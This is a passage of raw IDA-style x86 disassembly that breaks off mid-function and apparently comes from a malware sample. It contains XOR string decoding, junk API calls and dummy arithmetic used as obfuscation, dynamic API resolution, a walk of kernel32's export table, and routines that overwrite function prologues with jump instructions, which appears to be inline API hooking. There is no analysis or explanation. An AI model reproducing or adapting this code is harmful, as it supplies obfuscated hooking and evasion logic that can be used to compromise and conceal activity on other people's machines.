arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ax, word_43CFF0
		mov	[ebp+var_2], ax
		push	[ebp+arg_0]
		push	0FFFFFFFFh
		call	ds:dword_41D8A0
		leave
		retn
sub_4024A8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43CFFC
		lea	eax, ds:412DE0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_402501
; ---------------------------------------------------------------------------


loc_4024EA:				; CODE XREF: .text:00402503j
		mov	eax, dword_43CFFC
		add	eax, edi
		lea	eax, ds:412DE0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 75h
		mov	[eax], dl
		inc	edi


loc_402501:				; CODE XREF: .text:004024E8j
		cmp	edi, esi
		jl	short loc_4024EA
		mov	dword ptr [ebp-4], 2E3h
		mov	eax, dword_43CFFC
		add	eax, esi
		mov	byte ptr ds:dword_412DE0[eax], 0
		xor	edi, edi
		mov	edi, dword_43CFFC
		inc	dword_43CFFC
		mov	eax, dword_43CFFC
		add	eax, 5
		add	eax, esi
		mov	dword_43CFFC, eax
		add	dword_43CFFC, 2
		cmp	dword_43CFFC, 0DF6h
		jle	short loc_402552
		and	dword_43CFFC, 0


loc_402552:				; CODE XREF: .text:00402549j
		mov	dword ptr [ebp-8], 1Ch
		lea	eax, dword_412DE0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402563	proc near		; CODE XREF: sub_402843+1F8p

var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_7]
		lea	esi, aCcLN	; "CC$l+n"
		mov	ecx, 7
		rep movsb
		xor	ebx, ebx


loc_40257E:				; CODE XREF: sub_402563+2D5j
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, [ebp+arg_0]
		movzx	edx, byte ptr [eax+ebx]
		cmp	edx, 0FFh
		jnz	short loc_4025C9
		movzx	edx, byte ptr [ebx+eax+1]
		cmp	edx, 0FFh
		jnz	short loc_4025C9
		movzx	edx, byte ptr [ebx+eax+2]
		cmp	edx, 0FFh
		jnz	short loc_4025C9
		movzx	edx, byte ptr [ebx+eax+3]
		cmp	edx, 0FFh
		jnz	short loc_4025C9
		movzx	eax, byte ptr [ebx+eax+4]
		cmp	eax, 0FFh
		jz	loc_40283E


loc_4025C9:				; CODE XREF: sub_402563+2Dj
					; sub_402563+3Aj ...
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+5]
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+ebx]
		mov	[eax+ebx], dl
		mov	[ebp+var_8], 0


loc_4025E0:				; CODE XREF: sub_402563+16Cj
		mov	eax, [ebp+arg_0]
		movzx	edx, [ebp+var_8]
		imul	edx, 0Ch
		movzx	edx, byte_43D090[edx]
		movzx	ecx, byte ptr [eax+ebx]
		cmp	ecx, edx
		jnz	loc_4026BA
		mov	ecx, ebx
		dec	ecx
		movzx	ecx, byte ptr [eax+ecx]
		cmp	ecx, edx
		jnz	loc_4026BA
		mov	ecx, ebx
		sub	ecx, 2
		movzx	ecx, byte ptr [eax+ecx]
		cmp	ecx, edx
		jnz	loc_4026BA
		mov	ecx, ebx
		sub	ecx, 3
		movzx	ecx, byte ptr [eax+ecx]
		cmp	ecx, edx
		jnz	loc_4026BA
		mov	edx, ebx
		sub	edx, 4
		movzx	eax, byte ptr [eax+edx]
		cmp	eax, 0E8h
		jnz	short loc_4026BA
		call	sub_40C7C4	; GetTickCount
		movzx	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_43D098[eax]
		call	sub_40C77C	; GetModuleHandleA
		movzx	edi, [ebp+var_8]
		imul	edi, 0Ch
		push	off_43D094[edi]
		push	eax
		call	sub_40C788	; GetProcAddress
		mov	[ebp+var_C], eax
		call	sub_40C854	; IsDebuggerPresent
		or	eax, 0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		lea	edx, [edx+ecx+5]
		add	edx, ebx
		sub	edx, 4
		sub	eax, edx
		add	eax, [ebp+var_C]
		sub	eax, 4
		mov	[ebp+var_10], eax
		call	sub_40C740	; GetCurrentThreadId
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+5]
		add	eax, ebx
		sub	eax, 4
		mov	edx, [ebp+var_10]
		mov	ds:1[eax], edx
		mov	ax, word_43D103
		mov	[ebp+var_12], ax
		jmp	short loc_4026D4
; ---------------------------------------------------------------------------


loc_4026BA:				; CODE XREF: sub_402563+95j
					; sub_402563+A4j ...
		movzx	eax, [ebp+var_8]
		imul	eax, 0Ch
		cmp	off_43D094[eax], 0
		jz	short loc_4026D4
		add	[ebp+var_8], 1
		jmp	loc_4025E0
; ---------------------------------------------------------------------------


loc_4026D4:				; CODE XREF: sub_402563+155j
					; sub_402563+166j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 4
		jnz	short loc_402744
		mov	edx, ebx
		dec	edx
		cmp	byte ptr [eax+edx], 4
		jnz	short loc_402744
		mov	edx, ebx
		sub	edx, 2
		cmp	byte ptr [eax+edx], 4
		jnz	short loc_402744
		mov	edx, ebx
		sub	edx, 3
		cmp	byte ptr [eax+edx], 4
		jnz	short loc_402744
		mov	edx, ebx
		sub	edx, 4
		movzx	edx, byte ptr [eax+edx]
		cmp	dl, 68h
		jz	short loc_40271D
		cmp	edx, 0BEh
		jz	short loc_40271D
		mov	edx, ebx
		sub	edx, 5
		cmp	byte ptr [eax+edx], 24h
		jnz	short loc_402744


loc_40271D:				; CODE XREF: sub_402563+1A5j
					; sub_402563+1ADj
		lea	edi, [ebp+var_10+1]
		lea	esi, aTLd	; "T-+ld&"
		mov	ecx, 7
		rep movsb
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+arg_8]
		lea	edx, [eax+ebx+5]
		sub	edx, 4
		add	eax, 7
		mov	ds:1[edx], eax


loc_402744:				; CODE XREF: sub_402563+178j
					; sub_402563+181j ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 2
		jnz	short loc_4027C9
		mov	edx, ebx
		dec	edx
		cmp	byte ptr [eax+edx], 2
		jnz	short loc_4027C9
		mov	edx, ebx
		sub	edx, 2
		cmp	byte ptr [eax+edx], 2
		jnz	short loc_4027C9
		mov	edx, ebx
		sub	edx, 3
		cmp	byte ptr [eax+edx], 2
		jnz	short loc_4027C9
		mov	edx, ebx
		sub	edx, 4
		movzx	eax, byte ptr [eax+edx]
		cmp	eax, 0E8h
		jz	short loc_402783
		cmp	eax, 0E9h
		jnz	short loc_4027C9


loc_402783:				; CODE XREF: sub_402563+217j
		call	sub_40C794	; GetProcessHeap
		mov	eax, [ebp+arg_4]
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+arg_8]
		lea	ecx, [eax+ecx+5]
		add	ecx, ebx
		sub	ecx, 4
		sub	edx, ecx
		add	edx, eax
		mov	eax, edx
		sub	eax, 4
		mov	[ebp+var_C], eax
		call	sub_40C7C4	; GetTickCount
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+5]
		add	eax, ebx
		sub	eax, 4
		mov	edx, [ebp+var_C]
		mov	ds:1[eax], edx
		call	sub_40C734	; GetCurrentProcessId


loc_4027C9:				; CODE XREF: sub_402563+1E8j
					; sub_402563+1F1j ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 1
		jnz	short loc_402831
		mov	edx, ebx
		dec	edx
		cmp	byte ptr [eax+edx], 1
		jnz	short loc_402831
		mov	edx, ebx
		sub	edx, 2
		cmp	byte ptr [eax+edx], 1
		jnz	short loc_402831
		mov	edx, ebx
		sub	edx, 3
		cmp	byte ptr [eax+edx], 1
		jnz	short loc_402831
		mov	edx, ebx
		sub	edx, 4
		movzx	eax, byte ptr [eax+edx]
		cmp	al, 3Dh
		jz	short loc_40280C
		cmp	eax, 0FEh
		jz	short loc_40280C
		cmp	eax, 0FFh
		jnz	short loc_402831


loc_40280C:				; CODE XREF: sub_402563+299j
					; sub_402563+2A0j
		call	sub_40C794	; GetProcessHeap
		call	sub_40C734	; GetCurrentProcessId
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		lea	edi, [edi+esi+5]
		add	edi, ebx
		sub	edi, 4
		mov	ds:1[edi], eax
		call	sub_40C740	; GetCurrentThreadId


loc_402831:				; CODE XREF: sub_402563+26Dj
					; sub_402563+276j ...
		inc	ebx
		cmp	ebx, 400h
		jb	loc_40257E


loc_40283E:				; CODE XREF: sub_402563+60j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402563	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402843	proc near		; CODE XREF: sub_403010+237p

var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_22		= byte ptr -22h
var_1F		= byte ptr -1Fh
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_11], 0A2h
		sub	[ebp+var_11], 8
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_4028A8
; ---------------------------------------------------------------------------


loc_402861:				; CODE XREF: sub_402843+70j
		call	sub_40C7C4	; GetTickCount
		xor	ebx, ebx
		jmp	short loc_402874
; ---------------------------------------------------------------------------


loc_40286A:				; CODE XREF: sub_402843+37j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_40287C
		inc	ebx


loc_402874:				; CODE XREF: sub_402843+25j
		cmp	ebx, 3E8h
		jbe	short loc_40286A


loc_40287C:				; CODE XREF: sub_402843+2Ej
		lea	edi, [ebp+var_26]
		lea	esi, a5anwhv	; "5€Nwhv"
		mov	ecx, 7
		rep movsb
		cmp	ebx, 3E8h
		jnb	short loc_4028BA
		mov	[ebp+var_1F], 0B8h
		movzx	eax, [ebp+var_1F]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1F], al
		inc	[ebp+var_4]


loc_4028A8:				; CODE XREF: sub_402843+1Cj
		mov	eax, [ebp+arg_4]
		sub	eax, 3E8h
		cmp	[ebp+var_4], eax
		jbe	short loc_402861
		jmp	loc_402A43
; ---------------------------------------------------------------------------


loc_4028BA:				; CODE XREF: sub_402843+4Fj
		add	[ebp+var_4], 0Ah
		movzx	edi, [ebp+arg_8]
		shl	edi, 2
		mov	ebx, ds:dword_40F2E0[edi]
		and	[ebp+var_8], 0


loc_4028D0:				; CODE XREF: sub_402843+162j
		mov	eax, ebx
		add	eax, [ebp+var_8]
		push	eax
		call	sub_401D31
		pop	ecx
		call	sub_40C794	; GetProcessHeap
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [ebx+eax]
		cmp	eax, 0E8h
		jz	short loc_40291F
		cmp	eax, 0E9h
		jz	short loc_40291F
		call	sub_40C794	; GetProcessHeap
		and	[ebp+var_C], 0
		jmp	short loc_402913
; ---------------------------------------------------------------------------


loc_402901:				; CODE XREF: sub_402843+D8j
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	cl, [ebx+eax]
		mov	[edx+eax], cl
		inc	[ebp+var_C]


loc_402913:				; CODE XREF: sub_402843+BCj
		mov	eax, ds:dword_40E07C
		cmp	[ebp+var_C], eax
		jb	short loc_402901
		jmp	short loc_402999
; ---------------------------------------------------------------------------


loc_40291F:				; CODE XREF: sub_402843+AAj
					; sub_402843+B1j
		lea	edi, [ebp+var_22]
		lea	esi, aZ		; "z "
		mov	ecx, 3
		rep movsb
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	cl, [ebx+eax]
		mov	[edx+eax], cl
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, [ebp+var_8]
		lea	eax, [ebx+eax+1]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		mov	[ebp+var_1F], 65h
		movzx	eax, [ebp+var_1F]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1F], al
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		sub	edx, ecx
		mov	ecx, ebx
		add	ecx, eax
		mov	eax, edx
		add	eax, ecx
		mov	[ebp+var_1C], eax
		lea	edi, [ebp+var_27]
		lea	esi, aNiL	; "NI*l"
		mov	ecx, 5
		rep movsb
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		lea	eax, [eax+edx+1]
		mov	edx, [ebp+var_1C]
		mov	[eax], edx
		call	sub_40C740	; GetCurrentThreadId


loc_402999:				; CODE XREF: sub_402843+DAj
		mov	eax, ds:dword_40E07C
		add	[ebp+var_8], eax
		cmp	[ebp+var_8], 5
		jb	loc_4028D0
		mov	[ebp+var_18], 60F2h
		sub	[ebp+var_18], 502Ah
		mov	eax, [ebp+var_8]
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		sub	edx, ecx
		mov	ecx, ebx
		add	ecx, eax
		mov	eax, edx
		add	eax, ecx
		sub	eax, 4
		mov	[ebp+var_10], eax
		mov	ax, word_43D11B
		mov	[ebp+var_1E], ax
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	byte ptr [edx+eax], 0E9h
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		lea	eax, [eax+edx+1]
		mov	edx, [ebp+var_10]
		mov	[eax], edx
		call	sub_40C734	; GetCurrentProcessId
		or	eax, 0FFFFFFFFh
		sub	eax, ebx
		mov	edx, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		lea	edx, [edx+ecx+5]
		add	eax, edx
		sub	eax, 4
		mov	[ebp+var_10], eax
		mov	byte ptr [ebx],	0E9h
		mov	ds:1[ebx], eax
		call	sub_40C7C4	; GetTickCount
		push	[ebp+var_8]
		push	[ebp+var_4]
		movzx	edi, [ebp+arg_8]
		shl	edi, 4
		push	off_43CE84[edi]
		call	sub_402563
		add	esp, 0Ch


loc_402A43:				; CODE XREF: sub_402843+72j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A48	proc near		; CODE XREF: sub_40AA24+5B8p

var_21B8	= dword	ptr -21B8h
var_21B4	= dword	ptr -21B4h
var_21B0	= dword	ptr -21B0h
var_21AC	= dword	ptr -21ACh
var_21A8	= dword	ptr -21A8h
var_21A4	= dword	ptr -21A4h
var_21A0	= dword	ptr -21A0h
var_219B	= byte ptr -219Bh
var_2198	= dword	ptr -2198h
var_2193	= dword	ptr -2193h
var_218C	= dword	ptr -218Ch
var_2188	= dword	ptr -2188h
var_2182	= word ptr -2182h
var_2180	= dword	ptr -2180h
var_207B	= byte ptr -207Bh
var_2074	= dword	ptr -2074h
var_2070	= byte ptr -2070h
var_2068	= byte ptr -2068h
var_2060	= dword	ptr -2060h
var_2050	= dword	ptr -2050h
var_204C	= dword	ptr -204Ch
var_2044	= dword	ptr -2044h
var_2034	= dword	ptr -2034h
var_2030	= dword	ptr -2030h
var_202C	= dword	ptr -202Ch
var_2026	= byte ptr -2026h
var_2025	= byte ptr -2025h
var_2020	= dword	ptr -2020h
var_101C	= dword	ptr -101Ch
var_1015	= byte ptr -1015h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 258Ch
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		call	sub_40C7C4	; GetTickCount
		call	sub_402226
		call	sub_40C764	; RtlGetLastWin32Error
		mov	[ebp+var_2025],	0
		call	sub_40C7D0	; GetVersion
		cmp	eax, 80000000h
		jnb	short loc_402A81
		mov	[ebp+var_2025],	1


loc_402A81:				; CODE XREF: sub_402A48+30j
		lea	edi, [ebp-2067h]
		lea	esi, byte_43D11D
		mov	ecx, 3
		rep movsb
		mov	[ebp+var_1015],	0


loc_402A9B:				; CODE XREF: sub_402A48+F5j
		cmp	[ebp+var_2025],	0
		jnz	short loc_402AB8
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	byte_43CE88[edi], 1
		jz	short loc_402AD5


loc_402AB8:				; CODE XREF: sub_402A48+5Aj
		cmp	[ebp+var_2025],	0
		jz	short loc_402AD7
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	byte_43CE88[edi], 2
		jnz	short loc_402AD7


loc_402AD5:				; CODE XREF: sub_402A48+6Ej
		jmp	short loc_402B24
; ---------------------------------------------------------------------------


loc_402AD7:				; CODE XREF: sub_402A48+77j
					; sub_402A48+8Bj
		movzx	edi, [ebp+var_1015]
		mov	esi, edi
		shl	esi, 4
		push	off_43CE80[esi]
		call	sub_40C860	; LoadLibraryA
		mov	ds:dword_415180[edi*4],	eax
		movzx	edi, [ebp+var_1015]
		mov	esi, edi
		shl	esi, 4
		push	off_43CE7C[esi]
		shl	edi, 2
		push	ds:dword_415180[edi]
		call	sub_40C788	; GetProcAddress
		mov	ds:dword_40F2E0[edi], eax
		call	sub_40C7C4	; GetTickCount


loc_402B24:				; CODE XREF: sub_402A48:loc_402AD5j
		add	[ebp+var_1015],	1
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	off_43CE7C[edi], 0
		jnz	loc_402A9B
		lea	edi, [ebp-206Fh]
		lea	esi, aOGdu	; "O$/gdu "
		movsd
		movsd
		mov	[ebp+var_1015],	0


loc_402B58:				; CODE XREF: sub_403010+2C2j
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		cmp	ds:dword_40F2E0[edi], 0
		jz	loc_4032B9
		call	sub_40C854	; IsDebuggerPresent
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	edi, ds:dword_415180[edi]
		mov	[ebp+var_2034],	edi
		cmp	[ebp+var_2025],	0
		jz	loc_402E2B
		mov	[ebp+var_21A0],	51E2h
		mov	eax, 0D23h
		mul	[ebp+var_21A0]
		mov	[ebp+var_21A4],	eax
		mov	[ebp+var_21A0],	eax
		call	sub_4022BB
		mov	[ebp+var_2030],	eax
		shr	edi, 16h
		shl	edi, 16h
		mov	[ebp+var_8], edi
		call	sub_40C740	; GetCurrentThreadId
		mov	eax, edi
		add	eax, 400000h
		mov	[ebp+var_1014],	eax
		xor	ebx, ebx
		jmp	short loc_402C3A
; ---------------------------------------------------------------------------


loc_402BE4:				; CODE XREF: sub_402A48+1FBj
		mov	[ebp+var_21A8],	0EAEh
		mov	eax, 1AEBh
		mul	[ebp+var_21A8]
		mov	[ebp+var_21AC],	eax
		mov	[ebp+var_21A8],	eax
		mov	eax, dword_43CFF8
		add	eax, 0FEFh
		push	eax
		push	[ebp+var_8]
		call	sub_40C83C	; IsBadReadPtr
		mov	[ebp+var_4], eax
		call	sub_40C7C4	; GetTickCount
		xor	[ebp+var_4], 1
		shl	[ebp+var_4], 2
		mov	edi, [ebp+var_4]
		mov	[ebp+ebx*4+var_1010], edi
		inc	ebx
		add	[ebp+var_8], 1000h


loc_402C3A:				; CODE XREF: sub_402A48+19Aj
		mov	eax, [ebp+var_1014]
		cmp	[ebp+var_8], eax
		jbe	short loc_402BE4
		lea	eax, [ebp+var_219B]
		push	eax
		call	sub_40C824	; GlobalMemoryStatus
		call	sub_40C740	; GetCurrentThreadId
		and	[ebp+var_101C],	0
		jmp	loc_402D77
; ---------------------------------------------------------------------------


loc_402C62:				; CODE XREF: sub_402A48+340j
		call	sub_40C7D0	; GetVersion
		push	0FFFFh
		push	[ebp+var_101C]
		push	[ebp+var_2030]
		call	sub_402445
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	byte ptr [ebp+var_21AC+3], 12h
		movzx	eax, byte ptr [ebp+var_21AC+3]
		imul	eax, 0C31h
		mov	byte ptr [ebp+var_21AC+3], al
		cmp	[ebp+var_C], 0
		jnz	short loc_402CAD
		call	sub_40C740	; GetCurrentThreadId
		jmp	loc_402D6D
; ---------------------------------------------------------------------------


loc_402CAD:				; CODE XREF: sub_402A48+259j
		and	[ebp+var_21A8],	0


loc_402CB4:				; CODE XREF: sub_403010+2A4j
		mov	eax, [ebp+var_21A8]
		mov	[ebp+var_8], eax
		jmp	loc_402D52
; ---------------------------------------------------------------------------


loc_402CC2:				; CODE XREF: sub_402A48+311j
		mov	[ebp+var_21B0],	690h
		add	[ebp+var_21B0],	2151h
		xor	ebx, ebx


loc_402CD8:				; CODE XREF: sub_402A48+2DFj
		call	sub_40C7C4	; GetTickCount
		mov	edi, [ebp+var_8]
		shr	edi, 2
		shl	edi, 2
		add	edi, [ebp+var_C]
		mov	edi, [edi+ebx*4]
		mov	[ebp+var_4], edi
		and	[ebp+var_4], 4
		mov	edi, [ebp+ebx*4+var_1010]
		cmp	[ebp+var_4], edi
		jnz	short loc_402D29
		mov	[ebp+var_21B4],	6D86h
		mov	eax, 4E3Ch
		mul	[ebp+var_21B4]
		mov	[ebp+var_21B8],	eax
		mov	[ebp+var_21B4],	eax
		inc	ebx
		cmp	ebx, 400h
		jb	short loc_402CD8


loc_402D29:				; CODE XREF: sub_402A48+2B5j
		cmp	ebx, 3FFh
		jb	short loc_402D4B
		call	sub_40C794	; GetProcessHeap
		mov	eax, [ebp+var_8]
		add	eax, 1000h
		mov	[ebp+var_21A8],	eax
		call	sub_40C734	; GetCurrentProcessId
		jmp	short loc_402D9E
; ---------------------------------------------------------------------------


loc_402D4B:				; CODE XREF: sub_402A48+2E7j
		add	[ebp+var_8], 1000h


loc_402D52:				; CODE XREF: sub_402A48+275j
		cmp	[ebp+var_8], 0F000h
		jbe	loc_402CC2
		push	[ebp+var_C]
		call	sub_4024A8
		pop	ecx
		call	sub_40C740	; GetCurrentThreadId


loc_402D6D:				; CODE XREF: sub_402A48+260j
		add	[ebp+var_101C],	10000h


loc_402D77:				; CODE XREF: sub_402A48+215j
		mov	eax, [ebp+var_2193]
		sub	eax, 0FFFFh
		cmp	[ebp+var_101C],	eax
		jbe	loc_402C62
		push	[ebp+var_2030]
		call	sub_40C7AC	; CloseHandle
		jmp	loc_4032B9
; ---------------------------------------------------------------------------


loc_402D9E:				; CODE XREF: sub_402A48+301j
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	edi, ds:dword_40F2E0[edi]
		mov	[ebp+var_1014],	edi
		and	[ebp+var_1014],	0


loc_402DBC:				; CODE XREF: sub_402A48+3E1j
		call	sub_40C764	; RtlGetLastWin32Error
		mov	edi, [ebp+var_1014]
		shl	edi, 2
		mov	esi, [ebp+var_8]
		shr	esi, 2
		shl	esi, 2
		add	esi, [ebp+var_C]
		mov	esi, [esi+edi]
		mov	[ebp+edi+var_2020], esi
		call	sub_40C734	; GetCurrentProcessId
		mov	edi, [ebp+var_1014]
		shl	edi, 2
		mov	esi, [ebp+var_8]
		shr	esi, 2
		shl	esi, 2
		add	esi, [ebp+var_C]
		add	edi, esi
		or	byte ptr [edi],	2
		mov	byte ptr [ebp+var_21A8+3], 1Eh
		movzx	eax, byte ptr [ebp+var_21A8+3]
		imul	eax, 409Ah
		mov	byte ptr [ebp+var_21A8+3], al
		inc	[ebp+var_1014]
		cmp	[ebp+var_1014],	400h
		jb	short loc_402DBC


loc_402E2B:				; CODE XREF: sub_402A48+14Bj
		cmp	[ebp+var_2025],	0
		jnz	loc_402F0D
		call	sub_40C7D0	; GetVersion
		push	offset aKernel32_dll ; "kernel32.dll"
		call	sub_40C77C	; GetModuleHandleA
		mov	[ebp+var_2180],	eax
		lea	edi, [ebp+var_21A4+3]
		lea	esi, aE3	; "-;E3"
		mov	ecx, 5
		rep movsb
		mov	eax, [ebp+var_2180]
		mov	edx, eax
		add	edx, ds:3Ch[eax]
		mov	[ebp+var_2193+3], edx
		mov	[ebp+var_2182],	4195h
		movzx	eax, [ebp+var_2182]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2182],	ax
		mov	eax, [ebp+var_2180]
		mov	edx, [ebp+var_2193+3]
		add	edx, 78h
		add	eax, [edx]
		mov	[ebp-2194h], eax
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, [ebp+var_2180]
		mov	edx, [ebp-2194h]
		add	edx, 1Ch
		add	eax, [edx]
		mov	[ebp+var_2198],	eax
		mov	eax, [ebp+var_2180]
		mov	edx, [ebp+var_2198]
		add	eax, [edx]
		mov	[ebp-219Ch], eax
		mov	[ebp+var_218C],	0F88h
		add	[ebp+var_218C],	72CBh
		mov	[ebp+var_2074],	eax
		mov	[ebp+var_2188],	200Bh
		mov	eax, [ebp+var_2188]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_2188],	edx


loc_402F0D:				; CODE XREF: sub_402A48+3EAj
		push	1Ch
		lea	eax, [ebp+var_2050]
		push	eax
		call	sub_40C8C0	; RtlZeroMemory
		mov	eax, [ebp+var_2034]
		mov	[ebp+var_202C],	eax
		call	sub_40C7D0	; GetVersion


loc_402F2C:				; CODE XREF: sub_402A48+537j
					; sub_402A48+57Ej
		push	1Ch
		lea	eax, [ebp+var_2050]
		push	eax
		push	[ebp+var_202C]
		call	sub_40C920	; VirtualQuery
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, [ebp+var_2034]
		cmp	[ebp+var_204C],	eax
		jnz	short loc_402FCB
		lea	edi, [ebp+var_207B]
		lea	esi, aZt_	; "!/zt_$"
		mov	ecx, 7
		rep movsb
		mov	eax, [ebp+var_2044]
		mov	[ebp+var_2060],	eax
		add	[ebp+var_202C],	eax
		cmp	[ebp+var_2025],	0
		jnz	short loc_402F2C
		mov	[ebp+var_2180],	691Fh
		mov	eax, [ebp+var_2180]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_2180],	edx
		push	20060000h
		push	0
		mov	edi, [ebp+var_2060]
		shr	edi, 0Ch
		push	edi
		mov	edi, [ebp+var_2050]
		shr	edi, 0Ch
		push	edi
		push	1000Dh
		call	[ebp+var_2074]
		call	sub_40C740	; GetCurrentThreadId
		jmp	loc_402F2C
; ---------------------------------------------------------------------------


loc_402FCB:				; CODE XREF: sub_402A48+509j
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	esi, [ebp+var_202C]
		sub	esi, [ebp+var_2034]
		mov	ds:dword_4118A0[edi], esi
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	edi, ds:dword_40F2E0[edi]
		mov	[ebp+var_1014],	edi
		mov	eax, dword_43CFF4 ; DATA XREF: .data:loc_4403D2r
					; sub_4403F5+8Cw ...


loc_403004:				; DATA XREF: .data:0043F42Dr
					; .data:loc_43F469r ...
		add	eax, 1000h
		push	eax
		push	edi
		call	sub_40C848	; IsBadWritePtr
sub_402A48	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_403010	proc near		; DATA XREF: .data:0043F529o
					; sub_4403F5+10o
		mov	[ebp-2064h], eax
		mov	dword ptr [ebp-2058h], 78C1h
		add	dword ptr [ebp-2058h], 3550h
		test	eax, eax
		jnz	loc_403269
		mov	dword ptr [ebp-205Ch], 1FC2h
		add	dword ptr [ebp-205Ch], 61DDh
		cmp	byte ptr [ebp+8], 0
		jz	loc_403233
		lea	edi, [ebp-2183h]
		lea	esi, byte_43D134
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, [ebp-1014h]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0E9h
		jz	short loc_403085
		call	sub_40C764	; RtlGetLastWin32Error
		cmp	byte ptr [ebp+8], 1
		jz	loc_403269
		jmp	loc_403233
; ---------------------------------------------------------------------------


loc_403085:				; CODE XREF: sub_403010+5Fj
		mov	eax, [ebp-1014h]
		mov	edx, ds:1[eax]
		sub	edx, 0FFFFFFFFh
		lea	eax, [edx+eax+4]
		mov	[ebp-2024h], eax
		mov	dword ptr [ebp-2180h], 14DFh
		mov	eax, 61CEh
		mul	dword ptr [ebp-2180h]
		mov	[ebp-2588h], eax
		mov	[ebp-2180h], eax
		mov	byte ptr [ebp-217Ch], 0


loc_4030C7:				; CODE XREF: sub_403010+154j
		sub	dword ptr [ebp-2024h], 5
		mov	eax, [ebp-2024h]
		mov	[ebp-4], eax


loc_4030D7:				; CODE XREF: sub_403010+100j
		mov	eax, [ebp-4]
		mov	edx, eax
		dec	edx
		cmp	byte ptr [edx],	0
		jnz	short loc_403108
		mov	edx, eax
		sub	edx, 2
		cmp	byte ptr [edx],	0
		jnz	short loc_403108
		mov	edx, eax
		sub	edx, 3
		cmp	byte ptr [edx],	0
		jnz	short loc_403108
		mov	edx, eax
		sub	edx, 4
		cmp	byte ptr [edx],	0
		jnz	short loc_403108
		sub	eax, 5
		cmp	byte ptr [eax],	0
